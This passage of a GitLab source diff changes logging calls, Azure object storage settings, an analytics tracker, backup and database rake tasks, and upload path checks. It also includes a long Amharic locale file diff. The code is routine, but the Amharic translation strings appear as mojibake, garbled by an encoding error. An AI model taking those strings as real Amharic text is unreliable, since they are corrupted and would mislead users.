@@ -13,6 +13,7 @@ class GitlabDanger
commit_messages
telemetry
utility_css
+ pajamas
].freeze
CI_ONLY_RULES ||= %w[
@@ -22,6 +23,7 @@ class GitlabDanger
roulette
ce_ee_vue_templates
sidekiq_queues
+ specialization_labels
].freeze
MESSAGE_PREFIX = '==>'.freeze
diff --git a/lib/mattermost/session.rb b/lib/mattermost/session.rb
index eea7daa3d8e..b349b46dc18 100644
--- a/lib/mattermost/session.rb
+++ b/lib/mattermost/session.rb
@@ -41,7 +41,7 @@ module Mattermost
begin
yield self
rescue Errno::ECONNREFUSED => e
- Rails.logger.error(e.message + "\n" + e.backtrace.join("\n")) # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error(e.message + "\n" + e.backtrace.join("\n"))
raise Mattermost::NoSessionError
ensure
destroy
@@ -52,7 +52,7 @@ module Mattermost
# Next methods are needed for Doorkeeper
def pre_auth
@pre_auth ||= Doorkeeper::OAuth::PreAuthorization.new(
- Doorkeeper.configuration, server.client_via_uid, params)
+ Doorkeeper.configuration, params)
end
def authorization
diff --git a/lib/microsoft_teams/notifier.rb b/lib/microsoft_teams/notifier.rb
index 096e1e2ee96..0b21c355a54 100644
--- a/lib/microsoft_teams/notifier.rb
+++ b/lib/microsoft_teams/notifier.rb
@@ -19,7 +19,7 @@ module MicrosoftTeams
result = true if response
rescue Gitlab::HTTP::Error, StandardError => error
- Rails.logger.info("#{self.class.name}: Error while connecting to #{@webhook}: #{error.message}") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.info("#{self.class.name}: Error while connecting to #{@webhook}: #{error.message}")
end
result
diff --git a/lib/object_storage/config.rb b/lib/object_storage/config.rb
index d0777914cb5..cc536ce9b46 100644
--- a/lib/object_storage/config.rb
+++ b/lib/object_storage/config.rb
@@ -2,12 +2,26 @@
module ObjectStorage
class Config
+ AWS_PROVIDER = 'AWS'
+ AZURE_PROVIDER = 'AzureRM'
+ GOOGLE_PROVIDER = 'Google'
+
attr_reader :options
def initialize(options)
@options = options.to_hash.deep_symbolize_keys
end
+ def load_provider
+ if aws?
+ require 'fog/aws'
+ elsif google?
+ require 'fog/google'
+ elsif azure?
+ require 'fog/azurerm'
+ end
+ end
+
def credentials
@credentials ||= options[:connection] || {}
end
@@ -30,7 +44,7 @@ module ObjectStorage
# AWS-specific options
def aws?
- provider == 'AWS'
+ provider == AWS_PROVIDER
end
def use_iam_profile?
@@ -54,12 +68,18 @@ module ObjectStorage
end
# End AWS-specific options
+ # Begin Azure-specific options
+ def azure_storage_domain
+ credentials[:azure_storage_domain]
+ end
+ # End Azure-specific options
+
def google?
- provider == 'Google'
+ provider == GOOGLE_PROVIDER
end
def azure?
- provider == 'AzureRM'
+ provider == AZURE_PROVIDER
end
def fog_attributes
diff --git a/lib/object_storage/direct_upload.rb b/lib/object_storage/direct_upload.rb
index 90199114f2c..b5864382299 100644
--- a/lib/object_storage/direct_upload.rb
+++ b/lib/object_storage/direct_upload.rb
@@ -99,12 +99,18 @@ module ObjectStorage
ObjectStorage: {
Provider: 'AzureRM',
GoCloudConfig: {
- URL: "azblob://#{bucket_name}"
+ URL: azure_gocloud_url
}
}
}
end
+ def azure_gocloud_url
+ url = "azblob://#{bucket_name}"
+ url += "?domain=#{config.azure_storage_domain}" if config.azure_storage_domain.present?
+ url
+ end
+
def use_workhorse_s3_client?
return false unless Feature.enabled?(:use_workhorse_s3_client, default_enabled: true)
return false unless config.use_iam_profile? || config.consolidated_settings?
diff --git a/lib/product_analytics/tracker.rb b/lib/product_analytics/tracker.rb
index d4a88b879f0..2dc5e1f53ce 100644
--- a/lib/product_analytics/tracker.rb
+++ b/lib/product_analytics/tracker.rb
@@ -7,5 +7,36 @@ module ProductAnalytics
# The collector URL minus protocol and /i
COLLECTOR_URL = Gitlab.config.gitlab.url.sub(/\Ahttps?\:\/\//, '') + '/-/collector'
+
+ class << self
+ include Gitlab::Utils::StrongMemoize
+
+ def event(category, action, label: nil, property: nil, value: nil, context: nil)
+ return unless enabled?
+
+ snowplow.track_struct_event(category, action, label, property, value, context, (Time.now.to_f * 1000).to_i)
+ end
+
+ private
+
+ def enabled?
+ Gitlab::CurrentSettings.usage_ping_enabled?
+ end
+
+ def project_id
+ Gitlab::CurrentSettings.self_monitoring_project_id
+ end
+
+ def snowplow
+ strong_memoize(:snowplow) do
+ SnowplowTracker::Tracker.new(
+ SnowplowTracker::AsyncEmitter.new(COLLECTOR_URL, protocol: Gitlab.config.gitlab.protocol),
+ SnowplowTracker::Subject.new,
+ Gitlab::Tracking::SNOWPLOW_NAMESPACE,
+ project_id.to_s
+ )
+ end
+ end
+ end
end
end
diff --git a/lib/system_check/app/redis_version_check.rb b/lib/system_check/app/redis_version_check.rb
index aff0ee52e0d..697ced3590b 100644
--- a/lib/system_check/app/redis_version_check.rb
+++ b/lib/system_check/app/redis_version_check.rb
@@ -37,7 +37,7 @@ module SystemCheck
@custom_error_message
)
for_more_information(
- 'doc/administration/high_availability/redis.md#provide-your-own-redis-instance-core-only'
+ 'doc/administration/high_availability/redis.md#provide-your-own-redis-instance'
)
fix_and_rerun
end
diff --git a/lib/tasks/gettext.rake b/lib/tasks/gettext.rake
index 31030d061f2..1e28d15f75e 100644
--- a/lib/tasks/gettext.rake
+++ b/lib/tasks/gettext.rake
@@ -38,7 +38,9 @@ namespace :gettext do
Rake::Task['gettext:find'].invoke
# leave only the required changes.
- `git checkout -- locale/*/gitlab.po`
+ unless system(*%w(git checkout -- locale/*/gitlab.po))
+ raise 'failed to cleanup generated locale/*/gitlab.po files'
+ end
# Remove timestamps from the pot file
pot_content = File.read pot_file
diff --git a/lib/tasks/gitlab/assets.rake b/lib/tasks/gitlab/assets.rake
index 69a3526b872..caa583fb3a9 100644
--- a/lib/tasks/gitlab/assets.rake
+++ b/lib/tasks/gitlab/assets.rake
@@ -55,6 +55,7 @@ namespace :gitlab do
rake:assets:precompile
gitlab:assets:compile_webpack_if_needed
gitlab:assets:fix_urls
+ gitlab:assets:check_page_bundle_mixins_css_for_sideeffects
].each(&::Gitlab::TaskHelpers.method(:invoke_and_time_task))
end
@@ -127,5 +128,10 @@ namespace :gitlab do
abort 'Error: Unable to compile webpack DLL.'.color(:red)
end
end
+
+ desc 'GitLab | Assets | Check that scss mixins do not introduce any sideffects'
+ task :check_page_bundle_mixins_css_for_sideeffects do
+ system('./scripts/frontend/check_page_bundle_mixins_css_for_sideeffects.js')
+ end
end
end
diff --git a/lib/tasks/gitlab/backup.rake b/lib/tasks/gitlab/backup.rake
index b0f1ca39387..2a3713ed85c 100644
--- a/lib/tasks/gitlab/backup.rake
+++ b/lib/tasks/gitlab/backup.rake
@@ -47,6 +47,11 @@ namespace :gitlab do
begin
unless ENV['force'] == 'yes'
warning = <<-MSG.strip_heredoc
+ Be sure to stop Puma, Sidekiq, and any other process that
+ connects to the database before proceeding. For Omnibus
+ installs, see the following link for more information:
+ https://docs.gitlab.com/ee/raketasks/backup_restore.html#restore-for-omnibus-gitlab-installations
+
Before restoring the database, we will remove all existing
tables to avoid future upgrade problems. Be aware that if you have
custom tables in the GitLab database these tables and all data will be
@@ -131,7 +136,21 @@ namespace :gitlab do
task restore: :gitlab_environment do
puts_time "Restoring database ... ".color(:blue)
- Backup::Database.new(progress).restore
+ errors = Backup::Database.new(progress).restore
+
+ if errors.present?
+ warning = <<~MSG
+ There were errors in restoring the schema. This may cause
+ issues if this results in missing indexes, constraints, or
+ columns. Please record the errors above and contact GitLab
+ Support if you have questions:
+ https://about.gitlab.com/support/
+ MSG
+
+ warn warning.color(:red)
+ ask_to_continue
+ end
+
puts_time "done".color(:green)
end
end
@@ -273,5 +292,7 @@ namespace :gitlab do
$stdout
end
end
- end # namespace end: backup
-end # namespace end: gitlab
+ end
+ # namespace end: backup
+end
+# namespace end: gitlab
diff --git a/lib/tasks/gitlab/db.rake b/lib/tasks/gitlab/db.rake
index 61318570fd5..425f66918b0 100644
--- a/lib/tasks/gitlab/db.rake
+++ b/lib/tasks/gitlab/db.rake
@@ -166,5 +166,12 @@ namespace :gitlab do
Rake::Task['db:test:load'].enhance do
Rake::Task['gitlab:db:create_dynamic_partitions'].invoke
end
+
+ desc 'reindex a regular (non-unique) index without downtime to eliminate bloat'
+ task :reindex, [:index_name] => :environment do |_, args|
+ raise ArgumentError, 'must give the index name to reindex' unless args[:index_name]
+
+ Gitlab::Database::ConcurrentReindex.new(args[:index_name], logger: Logger.new(STDOUT)).execute
+ end
end
end
diff --git a/lib/tasks/gitlab/lfs/migrate.rake b/lib/tasks/gitlab/lfs/migrate.rake
index 470a12c39cd..3d4c847a0f0 100644
--- a/lib/tasks/gitlab/lfs/migrate.rake
+++ b/lib/tasks/gitlab/lfs/migrate.rake
@@ -9,12 +9,12 @@ namespace :gitlab do
LfsObject.with_files_stored_locally
.find_each(batch_size: 10) do |lfs_object|
- lfs_object.file.migrate!(LfsObjectUploader::Store::REMOTE)
+ lfs_object.file.migrate!(LfsObjectUploader::Store::REMOTE)
- logger.info("Transferred LFS object #{lfs_object.oid} of size #{lfs_object.size.to_i.bytes} to object storage")
- rescue => e
- logger.error("Failed to transfer LFS object #{lfs_object.oid} with error: #{e.message}")
- end
+ logger.info("Transferred LFS object #{lfs_object.oid} of size #{lfs_object.size.to_i.bytes} to object storage")
+ rescue => e
+ logger.error("Failed to transfer LFS object #{lfs_object.oid} with error: #{e.message}")
+ end
end
task migrate_to_local: :environment do
diff --git a/lib/tasks/gitlab/sidekiq.rake b/lib/tasks/gitlab/sidekiq.rake
index eb3de195626..6f00db42d78 100644
--- a/lib/tasks/gitlab/sidekiq.rake
+++ b/lib/tasks/gitlab/sidekiq.rake
@@ -5,7 +5,7 @@ return if Rails.env.production?
namespace :gitlab do
namespace :sidekiq do
def write_yaml(path, banner, object)
- File.write(path, banner + YAML.dump(object))
+ File.write(path, banner + YAML.dump(object).gsub(/ *$/m, ''))
end
namespace :all_queues_yml do
diff --git a/lib/tasks/gitlab/usage_data.rake b/lib/tasks/gitlab/usage_data.rake
new file mode 100644
index 00000000000..6f3db91c2b0
--- /dev/null
+++ b/lib/tasks/gitlab/usage_data.rake
@@ -0,0 +1,13 @@
+namespace :gitlab do
+ namespace :usage_data do
+ desc 'GitLab | UsageData | Generate raw SQLs for usage ping in YAML'
+ task dump_sql_in_yaml: :environment do
+ puts Gitlab::UsageDataQueries.uncached_data.to_yaml
+ end
+
+ desc 'GitLab | UsageData | Generate raw SQLs for usage ping in JSON'
+ task dump_sql_in_json: :environment do
+ puts Gitlab::Json.pretty_generate(Gitlab::UsageDataQueries.uncached_data)
+ end
+ end
+end
diff --git a/lib/tasks/pngquant.rake b/lib/tasks/pngquant.rake
index ceb4de55373..63bc1c7c16e 100644
--- a/lib/tasks/pngquant.rake
+++ b/lib/tasks/pngquant.rake
@@ -2,10 +2,10 @@ return if Rails.env.production?
require 'png_quantizator'
require 'parallel'
+require_relative '../../tooling/lib/tooling/images'
# The amount of variance (in bytes) allowed in
# file size when testing for compression size
-TOLERANCE = 10000
namespace :pngquant do
# Returns an array of all images eligible for compression
@@ -13,55 +13,13 @@ namespace :pngquant do
Dir.glob('doc/**/*.png', File::FNM_CASEFOLD)
end
- # Runs pngquant on an image and optionally
- # writes the result to disk
- def compress_image(file, overwrite_original)
- compressed_file = "#{file}.compressed"
- FileUtils.copy(file, compressed_file)
-
- pngquant_file = PngQuantizator::Image.new(compressed_file)
-
- # Run the image repeatedly through pngquant until
- # the change in file size is within TOLERANCE
- loop do
- before = File.size(compressed_file)
- pngquant_file.quantize!
- after = File.size(compressed_file)
- break if before - after <= TOLERANCE
- end
-
- savings = File.size(file) - File.size(compressed_file)
- is_uncompressed = savings > TOLERANCE
-
- if is_uncompressed && overwrite_original
- FileUtils.copy(compressed_file, file)
- end
-
- FileUtils.remove(compressed_file)
-
- [is_uncompressed, savings]
- end
-
- # Ensures pngquant is available and prints an error if not
- def check_executable
- unless system('pngquant --version', out: File::NULL)
- warn(
- 'Error: pngquant executable was not detected in the system.'.color(:red),
- 'Download pngquant at https://pngquant.org/ and place the executable in /usr/local/bin'.color(:green)
- )
- abort
- end
- end
-
desc 'GitLab | Pngquant | Compress all documentation PNG images using pngquant'
task :compress do
- check_executable
-
files = doc_images
puts "Compressing #{files.size} PNG files in doc/**"
Parallel.each(files) do |file|
- was_uncompressed, savings = compress_image(file, true)
+ was_uncompressed, savings = Tooling::Image.compress_image(file)
if was_uncompressed
puts "#{file} was reduced by #{savings} bytes"
@@ -71,13 +29,11 @@ namespace :pngquant do
desc 'GitLab | Pngquant | Checks that all documentation PNG images have been compressed with pngquant'
task :lint do
- check_executable
-
files = doc_images
puts "Checking #{files.size} PNG files in doc/**"
uncompressed_files = Parallel.map(files) do |file|
- is_uncompressed, _ = compress_image(file, false)
+ is_uncompressed, _ = Tooling::Image.compress_image(file, true)
if is_uncompressed
puts "Uncompressed file detected: ".color(:red) + file
file
diff --git a/lib/uploaded_file.rb b/lib/uploaded_file.rb
index 73029c934f4..cd5943b552e 100644
--- a/lib/uploaded_file.rb
+++ b/lib/uploaded_file.rb
@@ -42,6 +42,32 @@ class UploadedFile
@remote_id = remote_id
end
+ def self.from_params_without_field(params, upload_paths)
+ path = params['path']
+ remote_id = params['remote_id']
+ return if path.blank? && remote_id.blank?
+
+ # don't use file_path if remote_id is set
+ if remote_id.present?
+ file_path = nil
+ elsif path.present?
+ file_path = File.realpath(path)
+
+ unless self.allowed_path?(file_path, Array(upload_paths).compact)
+ raise InvalidPathError, "insecure path used '#{file_path}'"
+ end
+ end
+
+ UploadedFile.new(
+ file_path,
+ filename: params['name'],
+ content_type: params['type'] || 'application/octet-stream',
+ sha256: params['sha256'],
+ remote_id: remote_id,
+ size: params['size']
+ )
+ end
+
def self.from_params(params, field, upload_paths, path_override = nil)
path = path_override || params["#{field}.path"]
remote_id = params["#{field}.remote_id"]
@@ -52,8 +78,7 @@ class UploadedFile
elsif path.present?
file_path = File.realpath(path)
- paths = Array(upload_paths) << Dir.tmpdir
- unless self.allowed_path?(file_path, paths.compact)
+ unless self.allowed_path?(file_path, Array(upload_paths).compact)
raise InvalidPathError, "insecure path used '#{file_path}'"
end
end
diff --git a/locale/am_ET/gitlab.po b/locale/am_ET/gitlab.po
index fa1349e52b3..faf7e76b843 100644
--- a/locale/am_ET/gitlab.po
+++ b/locale/am_ET/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: am\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:42\n"
+"PO-Revision-Date: 2020-09-04 23:05\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,14 +56,14 @@ msgstr[1] " በ %d áŠáŒ¥á‰¦á‰½ ላይ ተሻሽáˆáˆ"
msgid " or "
msgstr " ወይሠ"
-msgid " or <!merge request id>"
-msgstr " ወይሠ<!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
-msgid " or <#issue id>"
-msgstr " ወይሠ‹#issue id›"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
-msgstr " ወይሠ<&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
+msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr " ወይሠማጣቀሻዎች (ለáˆáˆ³áˆŒ path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr " ወይሠማጣቀሻዎች (ለáˆáˆ³áˆŒ path/to/project!merge_reques
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr "\"%{path}\" በ\"%{ref}\" ላይ አáˆá‰°áŒˆáŠ˜áˆ"
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] "የአáˆáƒá€áˆ እክሎች እንዳያጋጥሙ %s ተጨማáˆ
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} እና %{openOrClose} %{noteable}"
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr "%{cores} ኮሮች"
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr "%{count} LOC/commit"
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr "%{description}- የSentry ክስተት: %{errorUrl}- በመጀመሪያ የታየá‹: %{firstSeen}- ለመጨረሻ ጊዜ የታየá‹: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr "%{duration}ሚ"
@@ -416,8 +428,8 @@ msgstr "%{firstLabel} +%{labelCount} ተጨማሪ"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
-msgstr "%{global_id} ለ%{expected_type} ትክክለኛ መታወቂያ አይደለáˆá¡á¡"
+msgid "%{global_id} is not a valid ID for %{expected_type}."
+msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
msgstr "%{group_docs_link_start}ቡድኖች %{group_docs_link_end} በርካታ á•áˆ®áŒ€áŠ­á‰¶á‰½ ላይ ለመተባበር እና ለማስተዳደር ይስችላሉᢠ"
@@ -503,9 +515,6 @@ msgstr "%{level_name} በ%{group_level_name} ቡድን á‹áˆµáŒ¥ አይáˆá‰€á‹µ
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "የá•áˆ®áŒ€áŠ­á‰± fork áˆáŠ•áŒ­ á‹á‰…ተኛ እይታ ስላለዠ%{level_name} የተከለከለ áŠá‹á¢"
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr "%{listToShow}ᣠእና %{awardsListLength} ተጨማሪá¢"
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} ተጀáˆáˆ¯áˆ"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} በ GitLab ተጠቃሚ %{lock_user_id} ተቆáˆááˆ"
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr "%{mergeLength}/%{usersLength} merge ማድረጠይቻላáˆ"
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText}ᣠይህ እትሠበራስ-ሰር ይዘጋáˆá¢"
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
